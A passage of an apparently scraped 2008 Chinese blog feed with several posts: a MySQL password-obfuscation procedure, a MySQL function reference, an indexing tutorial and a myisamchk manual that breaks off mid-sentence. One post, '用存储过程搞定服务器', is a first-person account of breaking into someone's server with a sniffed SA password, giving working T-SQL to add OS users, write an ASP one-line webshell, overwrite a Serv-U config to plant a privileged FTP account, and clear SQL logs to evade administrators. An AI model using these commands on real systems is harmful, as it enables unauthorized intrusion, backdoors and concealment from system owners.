      end REPEAT;<br /><br />
      return outpass;<br />
END <br /><br /><br />
(2)过程<br /><br />
CREATE PROCEDURE `pro_addmm`(IN inpass varchar(10),OUT outpass varchar(11))<br />
BEGIN<br />
      declare string_in varchar(39);<br />
      declare string_out varchar(78);<br />
      declare offset tinyint(2);                <br />
      declare len tinyint;<br /><br />
      set outpass=';<br /><br />
      set len=LENGTH(inpass);<br />
      if((len&lt;=0) or (len&gt;10)) then<br />
          set outpass=';<br />
      else<br />
          set offset=(SECOND(NOW()) mod 39)+1;<br /><br />
          set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#＄_';<br />
          set string_in='_＄#ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';<br /><br />
          set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));<br /><br />
          set string_out=CONCAT(string_out,string_out);<br />
          set @i=0;<br />
          REPEAT<br />
                set @i=@i+1;<br />
                set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));<br />
          UNTIL (@i&gt;=len)<br />
          end REPEAT;<br />
      end if;<br />
END<br /><br /><br />
//<br />
执行结果如下：<br />
mysql&gt; call pro_addmm('zhouys',@a);<br />
Query OK, 0 rows affected (0.00 sec)<br /><br />
mysql&gt; SELECT @a;<br />
+---------+<br />
| @a       |<br />
+---------+<br />
| U_PI6＄4 |<br />
+---------+<br />
1 row in set (0.00 sec)<br /><br />
mysql&gt; call pro_addmm('zhouys',@a);<br />
Query OK, 0 rows affected (0.00 sec)<br /><br />
mysql&gt; SELECT @a;<br />
+---------+<br />
| @a       |<br />
+---------+<br />
| 9P8UEGM |<br />
+---------+<br />
1 row in set (0.00 sec)<br /><br />
mysql&gt; select fun_submm('U_PI6＄4');<br />
+----------------------+<br />
| fun_submm('U_PI6＄4') |<br />
+----------------------+<br />
| ZHOUYS                |<br />
+----------------------+<br />
1 row in set (0.00 sec)<br /><br />
加密算法有几个弱点：<br />
1、不支持大小写<br />
2、不支持中文<br />
3、加密强度不够<br /><br />
有兴趣的人可以研究一下解密函数如何编写，这里就不赘述了。<img src ="http://www.blogjava.net/jiabao/aggbug/192527.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 10:47 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192527.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用存储过程搞定服务器</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192526.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sun, 13 Apr 2008 02:46:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192526.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192526.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192526.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192526.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192526.html</trackback:ping><description><![CDATA[前几天在搞一个站的时候嗅到了一个SA密码 但是用sql tool连上之后发现怎么也不能执行DOS命令<br />郁闷了 今天突然想到可以用存储过程来搞定这个<a href="http://www.free512.cn/html/mianfeizhongxin/mianfeidailifuwuqi/index.html">服务器</a>~ <br />首先在本地用sql server的查询分析器连上他 权限当然是SA啦<br />但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一样的错误 看来xp_cmdshell确<br />实不能用<br />错误消息<br />50001，级别 1，状态 50001<br />xpsql.cpp: 错误 5 来自 CreateProcess（第 737 行）<br />可能是某个相关的DLL文件被删除了<br />如图1<br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442430.png" border="0" /><br /><br /><br />看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令<br />在查询分析器里执行<br />DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD <br />@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'<br />这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了<br />提示命令完成成功 说明SP_OAcreate并没有被删除 我们用终端连一下<br />如图2<br />图3<br /><a title="在新窗口打开图片" href="http://www.free512.cn/upimg/allimg/071209/0442431.png" target="_blank"><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442431.png" border="0" width="550" /></a><br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442432.png" border="0" /><br /><br /><br />居然提示密码错误？难道是wscript.shell被删了？其实这里的判断只是经验而你 你要问我怎么判断服务器是<br />做了密码策略还是wscript.shell被删 我只能告诉你这是经验而已<br />虽然wscript.shell被删了 但是我们还是有FSO嘛。 先试着列下目录 找到WEB目录搞个SHELL再说<br />使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录 发现完全可以列目录 <br />列目录没问题了 然后偶查看D盘的时候发现有D:\web这个目录 随便找一个网站在IE里打看发现存在这个网站 <br />然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用他 因为有SA嘛 也不用去备份了 直接写<br />个一句话进去<br />语句如下<br />exec master.dbo.xp_subdirs 'd:\web\www.xx.com';<br />exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''&lt;%execute(request("SB"))%&gt;'' '<br />提示命令执行成功偶们看看效果<br />如图4<br />如图5<br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442433.png" border="0" /><br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442434.png" border="0" /><br /><br />看来小马写进去鸟~ 一点没问题 剩下的就是写入大马啦 然后提权之~ 哈哈 但是意想不到的事情又发生了<br />NND竟然不让我传大马 我日 提示ADODB.Stream 错误 '800a0bbc' 写入文件失败。 然后换了N个目录都写不进<br />去<br />然后我又列出来其他的目录写小马进去 但是都传不了大马 看来管理员把整个WEB目录都设置成了只读<br />如图6<br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442435.png" border="0" /><br /><br />NND我都有SA了还不信搞不定这个服务器 差点忘记了还可以用沙盘 嘿嘿 看来一着急脑子就乱<br />查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0','<br />;database=c:\windows\system32\ias\ias.mdb',<br />'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来添加个管理员 但是事实告诉<br />我 我的RP并不好<br />如图7<br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442436.png" border="0" /><br /><br />既然沙盘也不行 那就另寻出路吧<br />刚才列目录的时候好象看见了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的时候发现看<br />不到文件夹里的内容 不过没关系~ 偶们不是有一句话么。虽然没有写的权限 但是读的权限总改有吧 直接在<br />一句话里查看目录就OK了 虽然能看目录 但是用ASP馬，也不能讀出SERV——U配置文件来 看来还得用存储过程<br />如图8<br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442437.png" border="0" /><br />既然找到了SU的目录那偶就想能不能利用一句话写配置信息到ServUDaemon.ini里 然后利用SU来提权 但是事实<br />证明这个破站权限太牛X了 只能看不能写 不过没关系 偶们还可以利用存储过程<br />嘿嘿 使用declare @o int, @f int, @t int, @ret int<br />declare @line varchar(8000)<br />exec sp_oacreate 'scripting.filesystemobject', @o out<br />exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1<br />exec @ret = sp_oamethod @f, 'readline', @line out<br />while( @ret = 0 )<br />begin<br />print @line<br />exec @ret = sp_oamethod @f, 'readline', @line out<br />end<br />这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去？<br />直接写一个系统权限的<a href="http://www.free512.cn/html/mianfeikongjian/index.html">FTP</a>帐号 进去 <br />使用declare @o int, @f int, @t int, @ret int<br />exec sp_oacreate 'scripting.filesystemobject', @o out<br />exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1<br />exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都要<br />写上去》<br />然后执行一下 成功执行 我们再用存储过程看看写进去没有 <br />如图9<br /><a title="在新窗口打开图片" href="http://www.free512.cn/upimg/allimg/071209/0442438.png" target="_blank"><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442438.png" border="0" width="550" /></a><br /><br />OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的<a href="http://www.free512.cn/html/mianfeikongjian/index.html">FTP</a> 然后偶们在<a href="http://www.free512.cn/html/mianfeikongjian/index.html">FTP</a>里执行<br />quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用3389连一下 成功地到服务器权限<br />然后偶们再用set nocount on <br />declare @logicalfilename sysname,<br />@maxminutes int,<br />@newsize int 来清理掉SQL日志 免的被管理员发现<br />整个的提权过程大部分都是用存储过程来完成的。其实这些东西在以前提权的时候都没有想到。<br />感觉这个思路很不错 所以写出来 各位大牛见笑了<br /><img alt="" src="http://www.free512.cn/upimg/allimg/071209/0442439.png" border="0" /><br /><img src ="http://www.blogjava.net/jiabao/aggbug/192526.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 10:46 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192526.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mysql存储过程基本函数</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192523.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sun, 13 Apr 2008 02:35:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192523.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192523.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192523.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192523.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192523.html</trackback:ping><description><![CDATA[
            一.字符串类 <br /><br />CHARSET(str) //返回字串字符集<br />CONCAT (string2  [,... ]) //连接字串<br />INSTR (string ,substring ) //返回substring首次在string中出现的位置,不存在返回0<br />LCASE (string2 ) //转换成小写<br />LEFT (string2 ,length ) //从string2中的左边起取length个字符<br />LENGTH (string ) //string长度<br />LOAD_FILE (file_name ) //从文件读取内容<br />LOCATE (substring , string  [,start_position ] ) 同INSTR,但可指定开始位置<br />LPAD (string2 ,length ,pad ) //重复用pad加在string开头,直到字串长度为length<br />LTRIM (string2 ) //去除前端空格<br />REPEAT (string2 ,count ) //重复count次<br />REPLACE (str ,search_str ,replace_str ) //在str中用replace_str替换search_str<br />RPAD (string2 ,length ,pad) //在str后用pad补充,直到长度为length<br />RTRIM (string2 ) //去除后端空格<br />STRCMP (string1 ,string2 ) //逐字符比较两字串大小,<br />SUBSTRING (str , position  [,length ]) //从str的position开始,取length个字符,<br />注：mysql中处理字符串时，默认第一个字符下标为1，即参数position必须大于等于1<br /><br />mysql&gt; select substring('abcd',0,2);<br />+-----------------------+<br />| substring('abcd',0,2) |<br />+-----------------------+<br />|                       |<br />+-----------------------+<br />1 row in set (0.00 sec)<br /><br /><br />mysql&gt; select substring('abcd',1,2);<br />+-----------------------+<br />| substring('abcd',1,2) |<br />+-----------------------+<br />| ab                    |<br />+-----------------------+<br />1 row in set (0.02 sec)<br /><br /><br />TRIM([[BOTH|LEADING|TRAILING] [padding] FROM]string2) //去除指定位置的指定字符<br />UCASE (string2 ) //转换成大写<br />RIGHT(string2,length) //取string2最后length个字符<br />SPACE(count) //生成count个空格 <br /><br />二<a href="http://www.free512.cn/html/mianfeijiaocheng/chengxusheji/index.html">.</a>数学类<br /><br /><br />ABS (number2 ) //绝对值<br />BIN (decimal_number ) //十进制转二进制<br />CEILING (number2 ) //向上取整<br />CONV(number2,from_base,to_base) //进制转换<br />FLOOR (number2 ) //向下取整<br />FORMAT (number,decimal_places ) //保留小数位数<br />HEX (DecimalNumber ) //转十六进制<br />注：HEX()中可传入字符串，则返回其ASC-11码，如HEX('DEF')返回4142143<br />也可以传入十进制整数，返回其十六进制编码，如HEX(25)返回19<br />LEAST (number , number2  [,..]) //求最小值<br />MOD (numerator ,denominator ) //求余<br />POWER (number ,power ) //求指数<br />RAND([seed]) //随机数<br />ROUND (number  [,decimals ]) //四舍五入,decimals为小数位数]<br /><br />注<a href="http://www.free512.cn/html/mianfeijiaocheng/chengxusheji/index.html">：</a>返回类型并非均为整数，如<a href="http://www.free512.cn/html/mianfeijiaocheng/chengxusheji/index.html">：<br /></a>(1)默认变为整形值<br />mysql&gt; select round(1.23);<br />+-------------+<br />| round(1.23) |<br />+-------------+<br />|           1 |<br />+-------------+<br />1 row in set (0.00 sec)<br /><br />mysql&gt; select round(1.56);<br />+-------------+<br />| round(1.56) |<br />+-------------+<br />|           2 |<br />+-------------+<br />1 row in set (0.00 sec)<br /><br />(2)可以设定小数位数<a href="http://www.free512.cn/html/mianfeijiaocheng/chengxusheji/index.html">，</a>返回浮点型数据<br />mysql&gt; select round(1.567,2);<br />+----------------+<br />| round(1.567,2) |<br />+----------------+<br />|           1.57 |<br />+----------------+<br />1 row in set (0.00 sec)<br /><br /><br />SIGN (number2 ) //返回符号,正负或0<br />SQRT(number2) //开平方<br /><br /><br />三<a href="http://www.free512.cn/html/mianfeijiaocheng/chengxusheji/index.html">.</a>日期时间类<br /><br /><br />ADDTIME (date2 ,time_interval ) //将time_interval加到date2<br />CONVERT_TZ (datetime2 ,fromTZ ,toTZ ) //转换时区<br />CURRENT_DATE (  ) //当前日期<br />CURRENT_TIME (  ) //当前时间<br />CURRENT_TIMESTAMP (  ) //当前时间戳<br />DATE (datetime ) //返回datetime的日期部分<br />DATE_ADD (date2 , INTERVAL d_value d_type ) //在date2中加上日期或时间<br />DATE_FORMAT (datetime ,FormatCodes ) //使用formatcodes格式显示datetime<br />DATE_SUB (date2 , INTERVAL d_value d_type ) //在date2上减去一个时间<br />DATEDIFF (date1 ,date2 ) //两个日期差<br />DAY (date ) //返回日期的天<br />DAYNAME (date ) //英文星期<br />DAYOFWEEK (date ) //星期(1-7) ,1为星期天<br />DAYOFYEAR (date ) //一年中的第几天<br />EXTRACT (interval_name  FROM date ) //从date中提取日期的指定部分<br />MAKEDATE (year ,day ) //给出年及年中的第几天,生成日期串<br />MAKETIME (hour ,minute ,second ) //生成时间串<br />MONTHNAME (date ) //英文月份名<br />NOW (  ) //当前时间<br />SEC_TO_TIME (seconds ) //秒数转成时间<br />STR_TO_DATE (string ,format ) //字串转成时间,以format格式显示<br />TIMEDIFF (datetime1 ,datetime2 ) //两个时间差<br />TIME_TO_SEC (time ) //时间转秒数]<br />WEEK (date_time [,start_of_week ]) //第几周<br />YEAR (datetime ) //年份<br />DAYOFMONTH(datetime) //月的第几天<br />HOUR(datetime) //小时<br />LAST_DAY(date) //date的月的最后日期<br />MICROSECOND(datetime) //微秒<br />MONTH(datetime) //月<br />MINUTE(datetime) //分<br /><br /><a href="http://www.free512.cn/html/mianfeijiaocheng/chengxusheji/index.html">附:</a>可用在INTERVAL中的类型<br />DAY ,DAY_HOUR ,DAY_MINUTE ,DAY_SECOND ,HOUR ,HOUR_MINUTE ,HOUR_SECOND ,MINUTE ,MINUTE_SECOND,MONTH ,SECOND ,YEAR <br /><br /><br /><br /><img src ="http://www.blogjava.net/jiabao/aggbug/192523.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 10:35 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192523.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为mysql数据库建立索引</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192500.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sat, 12 Apr 2008 19:18:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192500.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192500.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192500.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192500.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192500.html</trackback:ping><description><![CDATA[就象许多的PHP开发者一样，在刚开始建立动态网站的时候，我都是使用相对简单的数据结构。PHP在连接数据库方面的确实是十分方便（译者注：有些人认为
PHP在连接不同数据库时没有一个统一的接口，不太方便，其实这可以通过一些扩展库来做到这一点），你无需看大量的设计文档就可以建立和使用数据库，这也
是PHP获得成功的主要原因之一。 <br /><br />  前些时候，一位颇高级的程序员居然问我什么叫做索引，令我感到十分的惊奇，我想这绝不会是沧海一
粟，因为有成千上万的开发者（可能大部分是使用MySQL的）都没有受过有关数据库的正规培训，尽管他们都为客户做过一些开发，但却对如何为数据库建立适
当的索引所知较少，因此我起了写一篇相关文章的念头。<br /><br />  最普通的情况，是为出现在where子句的字段建一个索引。为方便讲述，我们先建立一个如下的表。<br /><br />Code代码如下:CREATE TABLE mytable (<br />　id serial primary key,<br />　category_id int not null default 0,<br />　user_id int not null default 0,<br />　adddate int not null default 0<br />);<br /><br />  很简单吧，不过对于要说明这个问题，已经足够了。如果你在查询时常用类似以下的语句：<br /><br />SELECT * FROM mytable WHERE category_id=1; <br /><br />  最直接的应对之道，是为category_id建立一个简单的索引：<br /><br />CREATE INDEX mytable_categoryid <br />　ON mytable (category_id);<br /><br />  OK，搞定？先别高兴，如果你有不止一个选择条件呢？例如：<br /><br />SELECT * FROM mytable WHERE category_id=1 AND user_id=2;<br /><br />  你的第一反应可能是，再给user_id建立一个索引。不好，这不是一个最佳的方法。你可以建立多重的索引。<br /><br />CREATE INDEX mytable_categoryid_userid ON mytable (category_id,user_id);<br /><br />  注意到我在命名时的习惯了吗？我使用"表名_字段1名_字段2名"的方式。你很快就会知道我为什么这样做了。<br /><br />  现在你已经为适当的字段建立了索引，不过，还是有点不放心吧，你可能会问，数据库会真正用到这些索引吗？测试一下就OK，对于大多数的数据库来说，这是很容易的，只要使用EXPLAIN命令：<br /><br />EXPLAIN<br /><br />　SELECT * FROM mytable <br />　　WHERE category_id=1 AND user_id=2;<br /><br />This is what Postgres 7.1 returns (exactly as I expected) <br /><br />　NOTICE: QUERY PLAN:<br /><br />Index Scan using mytable_categoryid_userid on <br />  mytable (cost=0.00..2.02 rows=1 width=16)<br /><br />EXPLAIN<br /><br />  以上是postgres的数据，可以看到该数据库在查询的时候使用了一个索引（一个好开始），而且它使用的是我创建的第二个索引。看到我上面命名的好处了吧，你马上知道它使用适当的索引了。<br /><br />  接着，来个稍微复杂一点的，如果有个ORDER BY字句呢？不管你信不信，大多数的数据库在使用order by的时候，都将会从索引中受益。<br /><br />SELECT * FROM mytable <br />  WHERE category_id=1 AND user_id=2<br />    ORDER BY adddate DESC;<br /><br />  有点迷惑了吧？很简单，就象为where字句中的字段建立一个索引一样，也为ORDER BY的字句中的字段建立一个索引：<br /><br />CREATE INDEX mytable_categoryid_userid_adddate<br />  ON mytable (category_id,user_id,adddate);<br /><br />  注意: "mytable_categoryid_userid_adddate" 将会被截短为<br /><br />"mytable_categoryid_userid_addda"<br /><br />CREATE<br /><br />  EXPLAIN SELECT * FROM mytable<br />　　WHERE category_id=1 AND user_id=2<br />　　　ORDER BY adddate DESC;<br /><br />　NOTICE: QUERY PLAN:<br /><br />　Sort (cost=2.03..2.03 rows=1 width=16)<br />　　-&gt; Index Scan using mytable_categoryid_userid_addda <br />　　　　on mytable (cost=0.00..2.02 rows=1 width=16)<br /><br />EXPLAIN<br /><br />  看看EXPLAIN的输出，好象有点恐怖啊，数据库多做了一个我们没有要求的排序，这下知道性能如何受损了吧，看来我们对于数据库的自身运作是有点过于乐观了，那么，给数据库多一点提示吧。<br /><br />  
为了跳过排序这一步，我们并不需要其它另外的索引，只要将查询语句稍微改一下。这里用的是postgres，我们将给该数据库一个额外的提示--在
ORDER BY语句中，加入where语句中的字段。这只是一个技术上的处理，并不是必须的，因为实际上在另外两个字段上，并不会有任何的排序操作，不
过如果加入，postgres将会知道哪些是它应该做的。<br /><br />EXPLAIN SELECT * FROM mytable <br />  WHERE category_id=1 AND user_id=2<br />　　ORDER BY category_id DESC,user_id DESC,adddate DESC;<br /><br />NOTICE: QUERY PLAN:<br /><br />Index Scan Backward using <br />　mytable_categoryid_userid_addda on mytable <br />　  (cost=0.00..2.02 rows=1 width=16)<br /><br />EXPLAIN<br /><br />  现在使用我们料想的索引了，而且它还挺聪明，知道可以从索引后面开始读，从而避免了任何的排序。<br /><br />  
以上说得细了一点，不过如果你的数据库非常巨大，并且每日的页面请求达上百万算，我想你会获益良多的。不过，如果你要做更为复杂的查询呢，例如将多张表结
合起来查询，特别是where限制字句中的字段是来自不止一个表格时，应该怎样处理呢？我通常都尽量避免这种做法，因为这样数据库要将各个表中的东西都结
合起来，然后再排除那些不合适的行，搞不好开销会很大。<br /><br />  如果不能避免，你应该查看每张要结合起来的表，并且使用以上的策略来建立索引，然后再用EXPLAIN命令验证一下是否使用了你料想中的索引。如果是的话，就OK。不是的话，你可能要建立临时的表来将他们结合在一起，并且使用适当的索引。<br /><br />  要注意的是，建立太多的索引将会影响更新和插入的速度，因为它需要同样更新每个索引文件。对于一个经常需要更新和插入的表格，就没有必要为一个很少使用的where字句单独建立索引了，对于比较小的表，排序的开销不会很大，也没有必要建立另外的索引。<br /><br />  
以上介绍的只是一些十分基本的东西，其实里面的学问也不少，单凭EXPLAIN我们是不能判定该方法是否就是最优化的，每个数据库都有自己的一些优化器，
虽然可能还不太完善，但是它们都会在查询时对比过哪种方式较快，在某些情况下，建立索引的话也未必会快，例如索引放在一个不连续的存储空间时，这会增加读
磁盘的负担，因此，哪个是最优，应该通过实际的使用环境来检验。<br /><br />  在刚开始的时候，如果表不大，没有必要作索引，我的意见是在需要的时候才作索引，也可用一些命令来优化表，例如MySQL可用"OPTIMIZE TABLE"。<br /><br />  综上所述，在如何为数据库建立恰当的索引方面，你应该有一些基本的概念了。<img src ="http://www.blogjava.net/jiabao/aggbug/192500.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 03:18 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192500.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Myisamchk小工具使用手册</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192498.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sat, 12 Apr 2008 18:08:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192498.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192498.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192498.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192498.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192498.html</trackback:ping><description><![CDATA[
		<span class="kssattr-atfieldname-description kssattr-templateId-widgets/textarea kssattr-macro-textarea-field-view inlineEditable" id="parent-fieldname-description"> Myisamchk是MyISAM表维护的一个非常实用的工具。可以使用myisamchk实用程序来获得有关数据库表的信息或检查、修复、优化他们。myisamchk适用MyISAM表(对应.MYI和.MYD文件的表)。</span>
		<br />1.myisamchk的调用方法<br />  myisamchk [options] tbl_name ...<br />  其中options指定你想让myisamchk干什么。<br /><br />  它允许你通过使用模式“*.MYI”指定在一个目录所有的表。<br />  shell&gt; myisamchk *.MYI<br /><br />  推荐的快速检查所有MyISAM表的方式是：<br /><br />  shell&gt; myisamchk --silent --fast /path/to/datadir/*/*.MYI<br />  当你运行myisamchk时，必须确保其它程序不使用表。<br /><br />  当你运行myisamchk时内存分配重要.MYIsamchk使用的内存大小不能超过用-O选项指定的。对于大多数情况，使用-O sort=16M应该足够了。<br />  另外在修复时myisamchk需要大量硬盘空间，基本上是所涉及表空间的双倍大小。<br /><br /><br />2.myisamchk的一般选项<br />--debug=debug_options, -# debug_options<br />   输出调试记录文件。debug_options字符串经常是'd:t:o,filename'。<br /><br />--silent，-s<br />   沉默模式。仅当发生错误时写输出。 <br /><br />--wait,  -w<br />   如果表被锁定，不是提示错误终止，而是在继续前等待到表被解锁。<br />   如果不使用--skip-external-locking，可以随时使用myisamchk来检查表。当检查表时，所有尝试更新表的客户端将等待，直到myisamchk准备好可以继续。<br />   请注意如果用--skip-external-locking选项运行mysqld，只能用另一个myisamchk命令锁定表。<br /><br />--var_name=value<br />   可以通过--var_name=value选项设置下面的变量:<br />decode_bits         9<br />ft_max_word_len     取决于版本<br />ft_min_word_len     4<br />ft_stopword_file    内建列表<br />key_buffer_size     523264<br />myisam_block_size    1024<br />read_buffer_size    262136<br />sort_buffer_size    2097144<br />sort_key_blocks        16<br />stats_method        nulls_unequal<br />write_buffer_size    262136<br />   如果想要快速修复，将key_buffer_size和sort_buffer_size变量设置到大约可用内存的25%。<br />   可以将两个变量设置为较大的值，因为一个时间只使用一个变量。<br />   myisam_block_size是用于索引块的内存大小。<br />   stats_method影响当给定--analyze选项时，如何为索引统计搜集处理NULL值。   <br /><br />3.myisamchk的检查选项<br />--check,  -c<br />   检查表的错误。如果你不明确指定操作类型选项，这就是默认操作。<br /><br />--check-only-changed,  -C<br />   只检查上次检查后有变更的表。<br /><br />--extend-check,  -e<br />   非常仔细地检查表。如果表有许多索引将会相当慢。<br /><br />--fast，-F<br />   只检查没有正确关闭的表。<br /><br />--force,  -f<br />   如果myisamchk发现表内有任何错误，则自动进行修复。<br /><br />--information,  -i<br />   打印所检查表的统计信息。<br /><br />--medium-check,  -m<br />   比--extend-check更快速地进行检查。只能发现99.99%的错误<br /><br />--update-state,  -U<br />   将信息保存在.MYI文件中，来表示表检查的时间以及是否表崩溃了。该选项用来充分利用--check-only-changed选项，<br />   但如果mysqld服务器正使用表并且正用--skip-external-locking选项运行时不应使用该选项。<br /><br />--read-only,  -T<br />   不要将表标记为已经检查。如果你使用myisamchk来检查正被其它应用程序使用而没有锁定的表很有用<br /><br />4.myisamchk的修复选项<br />--backup,  -B<br />   将.MYD文件备份为file_name-time.BAK<br /><br />--character-sets-dir=path<br />   字符集安装目录。<br /><br />--correct-checksum<br />   纠正表的校验和信息。<br /><br />--data-file-length=len, -D len<br />   数据文件的最大长度<br /><br />--extend-check，-e<br />   进行修复，试图从数据文件恢复每一行。一般情况会发现大量的垃圾行。不要使用该选项,除非你不顾后果。<br /><br />--force,  -f<br />   覆盖旧的中间文件(文件名类似tbl_name.TMD)，而不是中断<br /><br />--keys-used=val,  -k val<br />   对于myisamchk，该选项值为位值，说明要更新的索引。选项值的每一个二进制位对应表的一个索引，其中第一个索引对应位0。<br />   选项值0禁用对所有索引的更新，可以保证快速插入。通过myisamchk -r可以重新激活被禁用的索引。<br /><br />--parallel-recover,  -p<br />   与-r和-n的用法相同，但使用不同的线程并行创建所有键。<br /><br />--quick，-q<br />   不修改数据文件，快速进行修复。<br /><br />--recover,  -r<br />    可以修复几乎所有一切问题，除非唯一的键不唯一时(对于MyISAM表，这是非常不可能的情况)。如果你想要恢复表，<br />    这是首先要尝试的选项。如果myisamchk报告表不能用-r恢复，则只能尝试-o。<br />    在不太可能的情况下-r失败，数据文件保持完好）。 <br /><br />--safe-recover,  -o<br />   使用一个老的恢复方法读取，按顺序读取所有行，并根据找到的行更新所有索引树。这比-r慢些，<br />   但是能处理-r不能处理的情况。该恢复方法使用的硬盘空间比-r少。一般情况，你应首先用-r维修，如果-r失败则用-o。<br /><br />--sort-recover,  -n<br />   强制myisamchk通过排序来解析键值，即使临时文件将可能很大。<br /><br /><br />5.myisamchk的其他选项<br />  myisamchk支持以下表检查和修复之外的其它操作的选项：<br /><br />--analyze，-a<br />    分析键值的分布。这通过让联结优化器更好地选择表应该以什么次序联结和应该使用哪个键来改进联结性能。<br />    要想获取分布相关信息，使用myisamchk --description --verbose tbl_name命令或SHOW KEYS FROM tbl_name语句。<br /><br />--sort-index,  -S<br />   以从高到低的顺序排序索引树块。这将优化搜寻并且将使按键值的表扫描更快。<br /><br />--set-auto-increment[=value], -A[value]<br />   强制从给定值开始的新记录使用AUTO_INCREMENT编号(或如果已经有AUTO_INCREMENT值大小的记录，应使用更高值)。<br />   如果未指定value，新记录的AUTO_INCREMENT编号应使用当前表的最大值加上1。<br /><br />--description,  -d<br />   打印出关于表的描述性信息。<br />   例如：<br />  [root@qa-sandbox-1 mysql]# myisamchk -d user.MYI<br />MyISAM file:         user.MYI<br />Record format:       Packed<br />Character set:       latin1_swedish_ci (8)<br />Data records:                    6  Deleted blocks:                 1<br />Recordlength:                  346<br /><br />table description:<br />Key Start Len Index   Type<br />1   1     180 unique  char packed stripped <br />    181   48          char stripped    <br /><br /><br />6.如何修复表<br /><br />检查你的表<br />  如果你有很多时间，运行myisamchk *.MYI或myisamchk -e *.MYI。使用-s（沉默）选项禁止不必要的信息。<br />  如果mysqld服务器处于宕机状态，应使用--update-state选项来告诉myisamchk将表标记为'检查过的'。<br /><br />简单安全的修复<br />  首先，试试myisamchk -r -q tbl_name(-r 